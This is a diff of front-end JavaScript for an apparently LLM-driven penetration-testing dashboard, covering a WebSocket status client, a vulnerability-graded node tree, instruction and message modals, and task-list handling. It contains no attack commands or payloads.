const protocol = window.location.protocol === "https:" ? "wss" : "ws";
const host = window.location.host; // 包含主机和端口(如 localhost:5000)
const path = "/api/ws"; // 你的 WebSocket 路由
return `${protocol}://${host}${path}`;
}
function initWebSocket() {
// 替换成你实际的 WebSocket 地址,例如 ws://localhost:5000/ws
wsUrl = getWsUrl();
const ws = new WebSocket(wsUrl);
// 设置接收二进制数据为 ArrayBuffer
ws.binaryType = "arraybuffer";
ws.onopen = function() {
console.log("WebSocket 已连接");
// 发送登录数据包,假设格式为 JSON(后端可以根据需要解析此包) --暂时默认0只有一个
ws.send(JSON.stringify({ user_id: 0 }));
};
ws.onmessage = function(event) {
// 解析收到的二进制数据
const buffer = event.data;
const dataView = new DataView(buffer);
// 读取前四个字节,验证魔数 "TFTF"
let magic = "";
for (let i = 0; i < 4; i++) {
magic += String.fromCharCode(dataView.getUint8(i));
}
if (magic !== "TFTF") {
console.error("收到非法格式数据:", magic);
return;
}
// 读取数据头:接下来的 8 字节分别为 idata_type 和 idata_len(均为 32 位无符号整数,假设大端)
const idata_type = dataView.getUint32(4, false);
const idata_len = dataView.getUint32(8, false);
// 数据体从偏移量 12 开始,长度为 idata_len
const bodyBytes = new Uint8Array(buffer, 12, idata_len);
const decoder = new TextDecoder("utf-8");
const bodyText = decoder.decode(bodyBytes);
// 假设数据体为 JSON 字符串
let bodyData;
try {
bodyData = JSON.parse(bodyText);
} catch (error) {
console.error("解析数据体出错:", error);
return;
}
// 针对 idata_type 为 1 的处理:更新节点
if(idata_type === 0){
console.log(bodyData);
}
else if (idata_type === 1) {//type-1为更新节点的node_workstatus
// bodyData 应该包含 node_path 和 node_workstatus 两个字段
updateTreeNode(bodyData.node_path, bodyData.node_workstatus);//node_tree.js
}
else if(idata_type === 2){
if(cur_task_id === 0){return;}
// 清空选中状态
selectedNodeData = null;
//刷新界面内容
update_select_node_data_show("-","-","-","-","-",false)
// 重新加载节点树数据
loadNodeTree(cur_task_id);
}
else {
console.error("未知的数据类型");
}
};
ws.onerror = function(error) {
console.error("WebSocket 错误:", error);
};
ws.onclose = function() {
console.log("WebSocket 连接关闭");
};
return ws;
}

930
web/main/static/resources/scripts/node_tree.js

@ -0,0 +1,930 @@
// 全局变量,用于保存当前选中的节点数据
let selectedNodeData = null;
/**
* 根据节点数据递归生成树形结构返回 <li> 元素
* 假设节点数据格式
* {
* "node_name":node.name,
* "node_path":node.path,
* "node_status":node.status,
* "node_bwork":node.bwork,
* "node_vultype":node.vul_type,
* "node_vulgrade":node.vul_grade,
* children: [ { ... }, { ... } ]
* }
*/
function generateTreeHTML(nodeData) {
const li = document.createElement("li");
const nodeSpan = document.createElement("span");
nodeSpan.className = "tree-node";
//设置data属性
nodeSpan.setAttribute("data-node_name", nodeData.node_name);
nodeSpan.setAttribute("data-node_path", nodeData.node_path);
nodeSpan.setAttribute("data-node_status", nodeData.node_status);
nodeSpan.setAttribute("data-node_bwork", nodeData.node_bwork);
nodeSpan.setAttribute("data-node_vultype", nodeData.node_vultype);
nodeSpan.setAttribute("data-node_vulgrade", nodeData.node_vulgrade || "");
nodeSpan.setAttribute("data-node_workstatus",nodeData.node_workstatus);
if(nodeData.node_workstatus ===0){
nodeSpan.classList.add("no-work");
}else {
nodeSpan.classList.remove("no-work");
}
// 根据漏洞级别添加样式
if (nodeData.node_vulgrade) {
nodeSpan.classList.remove("no-work");
if (nodeData.node_vulgrade === "低危") {
nodeSpan.classList.add("vul-low");
} else if (nodeData.node_vulgrade === "中危") {
nodeSpan.classList.add("vul-medium");
} else if (nodeData.node_vulgrade === "高危") {
nodeSpan.classList.add("vul-high");
}
}
// 创建容器用于存放切换图标与文本
const container = document.createElement("div");
container.className = "node-container";
// 如果有子节点,则添加切换图标
if (nodeData.children && nodeData.children.length > 0) {
const toggleIcon = document.createElement("span");
toggleIcon.className = "toggle-icon";
toggleIcon.textContent = "-"; // 默认展开时显示“-”
container.appendChild(toggleIcon);
}
//节点文本
const textSpan = document.createElement("span");
textSpan.className = "node-text";
textSpan.textContent = nodeData.node_name;
container.appendChild(textSpan);
nodeSpan.appendChild(container);
li.appendChild(nodeSpan);
//如果存在子节点,递归生成子节点列表
if (nodeData.children && nodeData.children.length > 0) {
const ul = document.createElement("ul");
nodeData.children.forEach((child) => {
ul.appendChild(generateTreeHTML(child));
});
li.appendChild(ul);
}
return li;
}
// 绑定所有节点的点击事件
function bindTreeNodeEvents() {
document.querySelectorAll(".tree-node").forEach((el) => {
el.addEventListener("click", (event) => {
// 阻止事件冒泡,避免点击时展开折叠影响
event.stopPropagation();
// 清除之前选中的节点样式
document
.querySelectorAll(".tree-node.selected")
.forEach((node) => node.classList.remove("selected"));
// 当前节点标记为选中
el.classList.add("selected");
// 读取 data 属性更新右侧显示
const nodeName = el.getAttribute("data-node_name");
const status = el.getAttribute("data-node_status");
const nodepath = el.getAttribute("data-node_path");
const nodebwork = el.getAttribute("data-node_bwork");
const vulType = el.getAttribute("data-node_vultype");
const vulLevel = el.getAttribute("data-node_vulgrade");
const workstatus = el.getAttribute("data-node_workstatus");
//selectedNodeData = { nodeName, status, vulType, vulLevel,nodepath,nodebwork };
// 示例中默认填充
selectedNodeData = {
node_name: nodeName,
node_path: nodepath,
status: status,
node_bwork: nodebwork,
vul_type: vulType,
vul_grade: vulLevel || "-",
workstatus: workstatus
};
//刷新界面内容
update_select_node_data_show(nodeName,status,vulType,vulLevel,workstatus,nodebwork)
});
// 双击事件:展开/收缩子节点区域
el.addEventListener("dblclick", (event) => {
event.stopPropagation();
// 找到该节点下的 <ul> 子节点列表
const parentLi = el.parentElement;
const childUl = parentLi.querySelector("ul");
if (childUl) {
// 切换 collapsed 类,控制 display
childUl.classList.toggle("collapsed");
// 更新切换图标
const toggleIcon = el.querySelector(".toggle-icon");
if (toggleIcon) {
toggleIcon.textContent = childUl.classList.contains("collapsed")
? "+"
: "-";
}
}
});
});
}
// 动态加载节点树数据
async function loadNodeTree(task_id) {
// 清空选中状态
selectedNodeData = null;
//刷新界面内容
update_select_node_data_show("-","-","-","-","-",false)
try {
const res = await fetch("/api/task/gettree", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ task_id }), //task_id:task_id
});
if (!res.ok) {
const errorData = await res.json();
throw new Error(errorData.error || `HTTP错误 ${res.status}`);
}
const data = await res.json();
const treeData = data.tree;
if (!treeData) {
document.getElementById("treeContent").innerHTML =
"<p>无节点数据</p>";
return;
}
// 创建一个 <ul> 作为树的根容器
const ul = document.createElement("ul");
ul.className = "tree-root-ul";
ul.appendChild(generateTreeHTML(treeData));
// 替换节点树容器的内容
const container = document.getElementById("treeContent");
container.innerHTML = "";
container.appendChild(ul);
// 绑定节点点击事件
bindTreeNodeEvents();
} catch (error) {
console.error("加载节点树失败:", error);
document.getElementById("treeContent").innerHTML = "<p>加载节点树失败</p>";
}
}
function getWorkStatus_Str(workstatus){
strworkstatus = ""
switch (workstatus){
case 0:
strworkstatus = "无待执行任务";
break;
case 1:
strworkstatus = "待执行指令中";
break;
case 2:
strworkstatus = "指令执行中";
break;
case 3:
strworkstatus = "待提交llm中";
break;
case 4:
strworkstatus = "提交llm中";
break;
default:
strworkstatus = "-"
}
return strworkstatus
}
//根据web端过来的数据,更新节点的工作状态
function updateTreeNode(node_path, node_workstatus) {
// 根据 node_path 查找对应节点(假设每个 .tree-node 上设置了 data-node_path 属性)
const nodeEl = document.querySelector(`.tree-node[data-node_path="${node_path}"]`);
if (nodeEl) {
// 更新 DOM 属性(属性值均为字符串)
nodeEl.setAttribute("data-node_workstatus", node_workstatus);
//判断是否需要更新界面
if(selectedNodeData){
if(node_path === selectedNodeData.node_path){ //只有是当前选中节点才更新数据
selectedNodeData.workstatus = node_workstatus;
strnew = getWorkStatus_Str(node_workstatus);
document.getElementById("node_workstatus").textContent = strnew;
}
}
} else {
console.warn(`未找到节点 ${node_path}`);
}
}
//刷新节点的数据显示
function update_select_node_data_show(nodeName,testStatus,vulType,vulLevel,workStatus,nodebwork){
document.getElementById("nodeName").textContent = nodeName;
document.getElementById("testStatus").textContent = testStatus;
document.getElementById("node_vulType").textContent = vulType;
document.getElementById("node_vulLevel").textContent = vulLevel;
str_workStatus = getWorkStatus_Str(Number(workStatus));
document.getElementById("node_workstatus").textContent = str_workStatus;
if(nodebwork==="true"){
document.getElementById("node_bwork").textContent = "执行中";
document.getElementById("btnToggleStatus").textContent = "暂停";
}else {
document.getElementById("node_bwork").textContent = "暂停中";
document.getElementById("btnToggleStatus").textContent = "继续";
}
setNodeBtnStatus();
}
//节点按钮的状态控制
function setNodeBtnStatus(){
const btn_TS = document.getElementById("btnToggleStatus");
const btn_NodeStep = document.getElementById("btnNodeStep");
const btn_VI = document.getElementById("btnViewInstr");
const btn_VM = document.getElementById("btnViewMsg");
const btn_AI = document.getElementById("btnAddInfo");
const btn_AC = document.getElementById("btnAddChild");
if(!selectedNodeData){
//没有选择node,按钮全部置不可用
btn_TS.disabled = true;
btn_TS.classList.add("disabled-btn");
btn_NodeStep.disabled = true;
btn_NodeStep.classList.add("disabled-btn");
btn_VI.disabled = true;
btn_VI.classList.add("disabled-btn");
btn_VM.disabled = true;
btn_VM.classList.add("disabled-btn");
btn_AI.disabled = true;
btn_AI.classList.add("disabled-btn");
btn_AC.disabled = true;
btn_AC.classList.add("disabled-btn");
}
else{
//5个可用
btn_TS.disabled = false;
btn_TS.classList.remove("disabled-btn");
btn_VI.disabled = false;
btn_VI.classList.remove("disabled-btn");
btn_VM.disabled = false;
btn_VM.classList.remove("disabled-btn");
btn_AI.disabled = false;
btn_AI.classList.remove("disabled-btn");
btn_AC.disabled = false;
btn_AC.classList.remove("disabled-btn");
if(cur_task.taskStatus === 1 && cur_task.workType === 0 && selectedNodeData.node_bwork==="true"){
btn_NodeStep.disabled = false;
btn_NodeStep.classList.remove("disabled-btn");
}
else{
btn_NodeStep.disabled = true;
btn_NodeStep.classList.add("disabled-btn");
}
}
}
// 刷新按钮事件绑定
document.getElementById("btnRefresh").addEventListener("click", () => {
// 重新加载节点树数据
loadNodeTree(cur_task_id);
});
// 按钮事件:当未选中节点时提示
function checkSelectedNode() {
if (!selectedNodeData) {
alert("请先选择节点");
return false;
}
return true;
}
//节点-暂停/继续,bwork控制
document.getElementById("btnToggleStatus").addEventListener("click", () => {
if (!checkSelectedNode()) return;
// bwork的状态已后端状态为准,只做切换
update_node_bwork(cur_task_id,selectedNodeData.node_path);
});
async function update_node_bwork(task_id,node_path){
try {
const res = await fetch("/api/task/nodecontrol", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ task_id,node_path }), //task_id:task_id
});
if (!res.ok) {
const errorData = await res.json();
throw new Error(errorData.error || `HTTP错误 ${res.status}`);
}
//修改成功
const data = await res.json();
const newbwork = data.newbwork;
//更新数据
const selectedEl = document.querySelector(".tree-node.selected");
if (selectedEl) {
selectedEl.setAttribute("data-node_bwork", newbwork);
selectedNodeData.node_bwork = newbwork;
}
//刷新界面
const btn_NodeStep = document.getElementById("btnNodeStep");
if(newbwork){
document.getElementById("node_bwork").textContent ="执行中";
document.getElementById("btnToggleStatus").textContent = "暂停";
if(cur_task.taskStatus === 1 && cur_task.workType === 0){
btn_NodeStep.disabled = false;
btn_NodeStep.classList.remove("disabled-btn");
}
}else {
document.getElementById("node_bwork").textContent = "暂停中";
document.getElementById("btnToggleStatus").textContent = "继续";
btn_NodeStep.disabled = true;
btn_NodeStep.classList.add("disabled-btn");
}
}catch (error) {
alert("修改节点的bwork失败:", error);
}
}
//节点-单步工作
document.getElementById("btnNodeStep").addEventListener("click", () => {
if (!checkSelectedNode()) return;
node_one_step(cur_task_id,selectedNodeData.node_path);
});
async function node_one_step(task_id,node_path){
try {
const res = await fetch("/api/task/nodestep", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ task_id,node_path }), //task_id:task_id
});
if (!res.ok) {
const errorData = await res.json();
throw new Error(errorData.error || `HTTP错误 ${res.status}`);
}
//修改成功
const data = await res.json();
const bsuccess = data.bsuccess;
if(bsuccess){
alert("该节点任务已提交,请稍候查看执行结果!")
}
else{
error = data.erroe;
alert("该节点单步失败!",error)
}
}catch (error) {
alert("该节点单步失败,请联系管理员!", error);
}
}
//----------------------查看指令modal----------------------------
let doneInstrs = []; // 已执行指令的所有数据
let todoInstrs = []; // 待执行指令的所有数据
let donePage = 1; // 已执行指令当前页
let todoPage = 1; // 待执行指令当前页
document.getElementById("msgModal").addEventListener("hidden.bs.modal", () => {
document.activeElement.blur(); // 清除当前焦点
});
document.getElementById("btnViewInstr").addEventListener("click", () => {
if (!checkSelectedNode()) return;
openInstrModal()
});
// 打开对话框函数
function openInstrModal() {
const modalEl = document.getElementById("instrModal");
// 假设用 Bootstrap 5 的 Modal 组件
const instrModal = new bootstrap.Modal(modalEl, {keyboard: false});
// 在打开 modal 时,先更新提示内容,将 loadingMsg 显示“请稍后,数据获取中…”
const loadingMsg = document.getElementById("loadingMsg");
if (loadingMsg) {
loadingMsg.textContent = "请稍后,数据获取中...";
}
// 显示对话框
instrModal.show();
// 加载指令数据
loadInstrData();
}
// 调用后端接口,获取指令数据
async function loadInstrData() {
task_id = cur_task_id;
node_path = selectedNodeData.node_path;
try {
const res = await fetch("/api/task/nodegetinstr", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({task_id,node_path}),
});
if (!res.ok) {
const errorData = await res.json();
throw new Error(errorData.error || `HTTP错误 ${res.status}`);
}
const data = await res.json();
// 数据获取成功后,清除加载提示
const loadingMsg = document.getElementById("loadingMsg");
if (loadingMsg) {
loadingMsg.style.display = "none"; // 或者清空其 innerHTML
}
doneInstrs = data.doneInstrs || [];
todoInstrs = data.todoInstrs || [];
donePage = 1;
todoPage = 1;
renderDoneInstrTable(donePage);
renderTodoInstrTable(todoPage);
} catch (error) {
console.error("加载指令数据异常:", error);
}
}
// 渲染已执行指令表格
function renderDoneInstrTable(page) {
const tbody = document.getElementById("doneInstrTbody");
// 计算起始索引
const startIndex = (page - 1) * pageSize;
const endIndex = startIndex + pageSize;
const pageData = doneInstrs.slice(startIndex, endIndex);
//select instruction,start_time,result from task_result where task_id=%s and node_path=%s;
tbody.innerHTML = "";
// 插入行
pageData.forEach((item, i) => {
const tr = document.createElement("tr");
// 第一列:序号
const tdIndex = document.createElement("td");
tdIndex.textContent = startIndex + i + 1;
tr.appendChild(tdIndex);
// 第二列:指令内容
const tdInstr = document.createElement("td");
tdInstr.textContent = item[0];
tr.appendChild(tdInstr);
// 第三列:开始时间(如果没有则显示空字符串)
const tdStartTime = document.createElement("td");
tdStartTime.textContent = item[1] || "";
tr.appendChild(tdStartTime);
// 第四列:执行结果
const tdResult = document.createElement("td");
tdResult.textContent = item[2] || "";
tr.appendChild(tdResult);
tbody.appendChild(tr);
});
// 若不足 10 行,补空行
for (let i = pageData.length; i < pageSize; i++) {
const tr = document.createElement("tr");
tr.innerHTML = `
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
`;
tbody.appendChild(tr);
}
}
// 渲染待执行指令表格
function renderTodoInstrTable(page) {
const tbody = document.getElementById("todoInstrTbody");
const startIndex = (page - 1) * pageSize;
const endIndex = startIndex + pageSize;
const pageData = todoInstrs.slice(startIndex, endIndex);
tbody.innerHTML = "";
pageData.forEach((item, i) => {
const tr = document.createElement("tr");
const idx = startIndex + i + 1;
// 第一列:序号
const tdIndex = document.createElement("td");
tdIndex.textContent = idx;
tr.appendChild(tdIndex);
// 第二列:指令文本内容(直接使用 textContent)
const tdItem = document.createElement("td");
tdItem.textContent = item; // 使用 textContent 避免 HTML 解析
tr.appendChild(tdItem);
// 第三列:复制和删除按钮
const tdAction = document.createElement("td");
// const btn_cp = document.createElement("button");
// btn_cp.className = "btn btn-primary btn-sm";
// btn_cp.textContent = "复制";
// btn_cp.style.marginRight = "2px"; // 设置间隔
// btn_cp.onclick = () => confirmCopyTodoInstr(idx - 1);
// tdAction.appendChild(btn_cp);
const btn = document.createElement("button");
btn.className = "btn btn-danger btn-sm";
btn.textContent = "删除";
btn.onclick = () => confirmDeleteTodoInstr(idx - 1);
tdAction.appendChild(btn);
tr.appendChild(tdAction);
tbody.appendChild(tr);
});
// 补空行
for (let i = pageData.length; i < pageSize; i++) {
const tr = document.createElement("tr");
tr.innerHTML = `
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
`;
tbody.appendChild(tr);
}
}
function confirmCopyTodoInstr(idx) {
// 从全局数组 todoInstrs 中获取指令文本
const instruction = todoInstrs[idx];
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(instruction)
.then(() => {
alert("已复制: " + instruction);
})
.catch((err) => {
console.error("使用 Clipboard API 复制失败:", err);
fallbackCopyTextToClipboard(instruction);
});
} else {
// 如果 clipboard API 不可用,则回退使用 execCommand 方法
fallbackCopyTextToClipboard(instruction);
}
}
function fallbackCopyTextToClipboard(text) {
// 创建 textarea 元素
const textArea = document.createElement("textarea");
textArea.value = text;
// 使用 CSS 样式使其不可见,同时保证能够获得焦点
textArea.style.position = "fixed"; // 避免页面滚动
textArea.style.top = "0";
textArea.style.left = "0";
textArea.style.width = "2em";
textArea.style.height = "2em";
textArea.style.padding = "0";
textArea.style.border = "none";
textArea.style.outline = "none";
textArea.style.boxShadow = "none";
textArea.style.background = "transparent";
document.body.appendChild(textArea);
textArea.focus();
textArea.select();
try {
const successful = document.execCommand('copy');
if (successful) {
alert("已复制: " + text);
} else {
alert("复制失败,请手动复制!");
}
} catch (err) {
console.error("Fallback: 无法复制", err);
alert("复制失败,请手动复制!");
}
document.body.removeChild(textArea);
}
// 删除待执行指令,先确认
function confirmDeleteTodoInstr(arrIndex) {
if (!confirm("确认删除该条待执行指令?")) return;
// arrIndex 在当前分页中的索引
// 先算出全局索引
const realIndex = (todoPage - 1) * pageSize + arrIndex;
const item = todoInstrs[realIndex];
// 调用后端删除接口
deleteTodoInstr(item);
}
// 调用后端接口删除
async function deleteTodoInstr(item) {
task_id = cur_task_id;
node_path = selectedNodeData.node_path;
try {
const res = await fetch("/api/task/delnodeinstr", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ task_id,node_path,item })
});
if (!res.ok) {
alert(data.error || "删除失败");
return;
}
const data = await res.json();
if(data.bsuccess){
// 删除成功,更新本地数据
const idx = todoInstrs.findIndex(x => x.id === item.id);
if (idx !== -1) {
todoInstrs.splice(idx, 1);
}
// 重新渲染
renderTodoInstrTable(todoPage);
//0需要更新work_status为无待执行任务的状态
if(todoInstrs.length === 0){
updateTreeNode(node_path, 0);
}
}
else{
alert("指令删除失败",data.error)
}
} catch (error) {
console.error("删除指令异常:", error);
alert("删除指令异常,请联系管理员!");
}
}
// 分页事件
document.getElementById("doneInstrPrev").addEventListener("click", (e) => {
e.preventDefault();
if (donePage > 1) {
donePage--;
renderDoneInstrTable(donePage);
}
});
document.getElementById("doneInstrNext").addEventListener("click", (e) => {
e.preventDefault();
const maxPage = Math.ceil(doneInstrs.length / pageSize);
if (donePage < maxPage) {
donePage++;
renderDoneInstrTable(donePage);
}
});
document.getElementById("todoInstrPrev").addEventListener("click", (e) => {
e.preventDefault();
if (todoPage > 1) {
todoPage--;
renderTodoInstrTable(todoPage);
}
});
document.getElementById("todoInstrNext").addEventListener("click", (e) => {
e.preventDefault();
const maxPage = Math.ceil(todoInstrs.length / pageSize);
if (todoPage < maxPage) {
todoPage++;
renderTodoInstrTable(todoPage);
}
});
// 导出当前页数据
document.getElementById("btnExport").addEventListener("click", () => {
// 判断当前是哪个 Tab
const activeTab = document.querySelector("#instrTab button.nav-link.active");
if (activeTab.id === "doneInstrTab") {
exportCurrentPage(doneInstrs, donePage, ["序号", "执行指令", "执行时间", "执行结果"]);
} else {
exportCurrentPage(todoInstrs, todoPage, ["序号", "待执行指令"]);
}
});
function exportCurrentPage(dataArr, page, headerArr) {
const startIndex = (page - 1) * pageSize;
const endIndex = startIndex + pageSize;
const pageData = dataArr.slice(startIndex, endIndex);
// 在 CSV 的开头加上 BOM,用于 Excel 识别 UTF-8 编码
let csvContent = "\uFEFF" + headerArr.join(",") + "\n";
pageData.forEach((item, i) => {
const rowIndex = startIndex + i + 1;
if (headerArr.length === 4) {
// 已执行:序号,执行指令,执行时间,执行结果
csvContent += rowIndex + "," +
(item.command || "") + "," +
(item.execTime || "") + "," +
(item.result || "") + "\n";
} else {
// 待执行:序号,待执行指令
csvContent += rowIndex + "," + (item.command || "") + "\n";
}
});
// 如果不足 pageSize 行,补足空行(根据列数进行适当补全)
for (let i = pageData.length; i < pageSize; i++) {
// 根据 headerArr.length 来设置空行的格式
if (headerArr.length === 4) {
csvContent += ",,,\n";
} else {
csvContent += ",\n";
}
}
const blob = new Blob([csvContent], { type: "text/csv;charset=utf-8;" });
const url = URL.createObjectURL(blob);
const link = document.createElement("a");
link.href = url;
link.download = "指令导出.csv";
link.click();
URL.revokeObjectURL(url);
}
//---------------------查看MSGmodal------------------------------
document.getElementById("msgModal").addEventListener("hidden.bs.modal", () => {
document.activeElement.blur(); // 清除当前焦点
});
document.getElementById("btnViewMsg").addEventListener("click", () => {
if (!checkSelectedNode()) return;
openMsgModal();
});
let submittedMsgs = []; // 存储已提交的 MSG 数据数组
let pendingMsg = {}; // 存储待提交的 MSG 数据
let submittedPage = 1;
function openMsgModal(){
// 显示 Modal(使用 Bootstrap 5 Modal)
const msgModal = new bootstrap.Modal(document.getElementById("msgModal"), { keyboard: false });
msgModal.show();
// 加载数据:调用后端接口 /api/task/getnodeinstr 或其他接口获取数据
// 这里仅作示例使用模拟数据
loadMsgData();
}
async function loadMsgData(){
task_id = cur_task_id;
node_path = selectedNodeData.node_path;
try {
const res = await fetch("/api/task/nodegetmsg", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({task_id,node_path}),
});
if (!res.ok) {
const errorData = await res.json();
throw new Error(errorData.error || `HTTP错误 ${res.status}`);
}
const data = await res.json();
submittedMsgs = data.submitted || [];
pendingMsg = data.pending || {}; //one_llm = {'llm_type': llm_type, 'result': str_res}
submittedPage = 1;
renderSubmittedTable(submittedPage);
// 填充待提交区域 ---
document.getElementById("llmtype").value = pendingMsg.llm_type || "0";
document.getElementById("pendingContent").value = pendingMsg.result || "";
} catch (error) {
console.error("加载Msg数据异常:", error);
}
}
function renderSubmittedTable(page){
const tbody = document.getElementById("submittedTbody");
const start = (page - 1) * pageSize;
const end = start + pageSize;
const pageData = submittedMsgs.slice(start, end);
tbody.innerHTML = "";
pageData.forEach((item, index) => {
const tr = document.createElement("tr");
// 第一列:序号
const tdIndex = document.createElement("td");
tdIndex.textContent = start + index + 1;
tr.appendChild(tdIndex);
// 第二列:角色
const tdRole = document.createElement("td");
tdRole.textContent = item.role;
tr.appendChild(tdRole);
// 第三列:内容
const tdContent = document.createElement("td");
tdContent.textContent = item.content;
tr.appendChild(tdContent);
tbody.appendChild(tr);
});
// 不足 10 行时,补空行
for(let i = pageData.length; i < pageSize; i++){
const tr = document.createElement("tr");
tr.innerHTML = `<td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td>`;
tbody.appendChild(tr);
}
}
// 分页按钮事件
document.getElementById("submittedPrev").addEventListener("click", function(e){
e.preventDefault();
if(submittedPage > 1){
submittedPage--;
renderSubmittedTable(submittedPage);
}
});
document.getElementById("submittedNext").addEventListener("click", function(e){
e.preventDefault();
const maxPage = Math.ceil(submittedMsgs.length / pageSize);
if(submittedPage < maxPage){
submittedPage++;
renderSubmittedTable(submittedPage);
}
});
// 导出功能:导出当前页已提交数据到 CSV
document.getElementById("btnExportSubmitted").addEventListener("click", function(){
exportSubmittedCurrentPage();
});
function exportSubmittedCurrentPage(){
const start = (submittedPage - 1) * pageSize;
const end = start + pageSize;
const pageData = submittedMsgs.slice(start, end);
let csv = "\uFEFF" + "序号,角色,内容\n"; // 添加 BOM 防乱码
pageData.forEach((item, i) => {
csv += `${start + i + 1},${item.role},${item.content}\n`;
});
// 补空行
for(let i = pageData.length; i < pageSize; i++){
csv += ",,\n";
}
const blob = new Blob([csv], { type: "text/csv;charset=utf-8;" });
const url = URL.createObjectURL(blob);
const a = document.createElement("a");
a.href = url;
a.download = "已提交消息.csv";
a.click();
URL.revokeObjectURL(url);
}
//新增请求指令的msg
document.getElementById("btnNeedInstr").addEventListener("click",function(){
if(selectedNodeData.workstatus === "0"){
if (!confirm("是否确认要为该节点新增请求指令的信息?")) return;
// 获取用户在待提交区输入的新值
newType = 3;
newContent = "请针对该节点信息,生成下一步渗透测试指令。";
//提交到后端更新
bsuccess = putnewmsg(newType,newContent);
if(bsuccess){
//更新缓存
selectedNodeData.workstatus = "3";
const nodeEl = document.querySelector(`.tree-node[data-node_path="${selectedNodeData.node_path}"]`);
if (nodeEl) {
// 更新 DOM 属性(属性值均为字符串)
nodeEl.setAttribute("data-node_workstatus", "3");
nodeEl.classList.remove("no-work");
}
//更新界面
strnew = getWorkStatus_Str(3);
document.getElementById("node_workstatus").textContent = strnew;
document.getElementById("llmtype").value = newType;
document.getElementById("pendingContent").value = newContent;
}
}else {
alert("只允许在-无待执行任务状态下新增请求指令的msg!")
}
});
// 保存待提交内容修改
document.getElementById("btnSavePending").addEventListener("click", function(){
if(selectedNodeData.workstatus === "3"){
if (!confirm("是否确认要保存对该节点待提交信息的修改?")) return;
// 获取用户在待提交区输入的新值
const newType = document.getElementById("llmtype").value;
const newContent = document.getElementById("pendingContent").value;
//提交到后端更新
putnewmsg(newType,newContent);
}else {
alert("只允许在-待提交llm状态下修改或新增msg!")
}
});
async function putnewmsg(llmtype,content){
task_id = cur_task_id;
node_path = selectedNodeData.node_path;
try {
const res = await fetch("/api/task/nodeupdatemsg", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({task_id,node_path,llmtype,content}),
});
if (!res.ok) {
const errorData = await res.json();
throw new Error(errorData.error || `HTTP错误 ${res.status}`);
}
const data = await res.json();
bsuccess = data.bsuccess;
if(bsuccess){
alert("修改成功")
pendingMsg.llmtype = llmtype;
pendingMsg.content = content;
return true;
}
else{
alert("修改失败:",data.error)
return false;
}
} catch (error) {
console.error("加载Msg数据异常:", error);
return false;
}
}
//---------------------添加信息modal------------------------------
document.getElementById("btnAddInfo").addEventListener("click", () => {
if (!checkSelectedNode()) return;
alert("该功能实现中...");
});
document.getElementById("btnAddChild").addEventListener("click", () => {
if (!checkSelectedNode()) return;
alert("该功能实现中...");
});
// 页面加载完成后,加载节点树
//document.addEventListener("DOMContentLoaded", loadNodeTree);

534
web/main/static/resources/scripts/task_manager.js

@ -0,0 +1,534 @@
let task_list = []
let cur_task = null //当前选择的task--用于修改缓存时使用
let cur_task_id = 0 //当前选择的cur_task_id
let ws = null
// 页面卸载时断开连接
window.addEventListener("beforeunload", function() {
if (ws) {
ws.close();
ws =null;
}
task_list = []
cur_task = null;
cur_task_id = 0;
});
// 页面加载完成后调用接口获取任务列表数据
document.addEventListener("DOMContentLoaded", async () => {
//建立wbsocket
initWebSocket()
//获取左侧任务列表
getTasklist();
//当前选中的数据要清空
cur_task = null;
cur_task_id = 0;
//任务基本信息界面初始化
document.getElementById("detailTestTarget").textContent = "-";
document.getElementById("detailTestStatus").textContent = "-";
document.getElementById("detailSafeStatus").textContent = '-';
//单选按钮
set_radio_selection('testMode', 'auto');
setSetpBtnStatus();
//节点树界面初始化
update_select_node_data_show("-","-","-","-","-",false)
//单选按钮点击事件 ------ 是不是更规范的编程方式,应该把控件事件的添加都放页面加载完成后处理
const autoRadio = document.getElementById("autoMode");
const manualRadio = document.getElementById("manualMode");
autoRadio.addEventListener("click", () => updateTestMode(1));
manualRadio.addEventListener("click", () => updateTestMode(0));
//tab页点击刷新数据
document.getElementById("testInstructionsTab").addEventListener("click",()=>searchInstructions());
document.getElementById("vulnerabilitiesTab").addEventListener("click",()=>searchVulnerabilities());
//指令和漏洞数据的导出按钮点击事件
document.getElementById("instrExportBtn").addEventListener("click",()=>ExportInstructions());
document.getElementById("vulExportBtn").addEventListener("click",()=>ExportVuls());
});
//----------------------左侧任务列表-----------------------
function getstrsafeR(safeRank){
if(safeRank === 0){
safeR = "安全";
}
else{
safeR = "存在风险";
}
return safeR;
}
function getstrTaskS(taskStatus){
if(taskStatus === 0){
taskS = "暂停中";
}else if(taskStatus === 1){
taskS = "执行中";
}else {
taskS = "已完成";
}
return taskS;
}
async function getTasklist(){
try {
const res = await fetch("/api/task/getlist");
if (!res.ok) {
const errorData = await res.json();
throw new Error(errorData.error || `HTTP错误 ${res.status}`);
}
const data = await res.json();
task_list = data.tasks
const taskList = document.getElementById("taskList");
taskList.innerHTML = ""; // 清空“加载中”提示
// 遍历任务数组,生成任务项
task_list.forEach((task) => {
const taskItem = document.createElement("div");
taskItem.dataset.taskID =task.taskID //在taskItem添加数据属性,这是关联数据的第二种方法,selectedEl.dataset.taskId; 感觉比cur_task更好
taskItem.className = "task-item";
// 第一行:测试目标
const targetDiv = document.createElement("div");
targetDiv.className = "task-target";
targetDiv.textContent = task.testTarget;
taskItem.appendChild(targetDiv);
// 第二行:测试状态,带缩进
const statusDiv = document.createElement("div");
statusDiv.className = "task-status";
let safeR = getstrsafeR(task.safeRank);
let taskS = getstrTaskS(task.taskStatus);
statusDiv.textContent = `${taskS}-${safeR}`;
taskItem.appendChild(statusDiv);
// 可绑定点击事件:点击任务项更新右侧详情
taskItem.addEventListener("click", () => {
// 取消所有任务项的选中状态
document.querySelectorAll(".task-item.selected").forEach(item => {
item.classList.remove("selected");
});
// 给当前点击的任务项添加选中状态
taskItem.classList.add("selected");
//执行业务代码 --参数当前选中task的数据
cur_task = task;
selected_task_item()
});
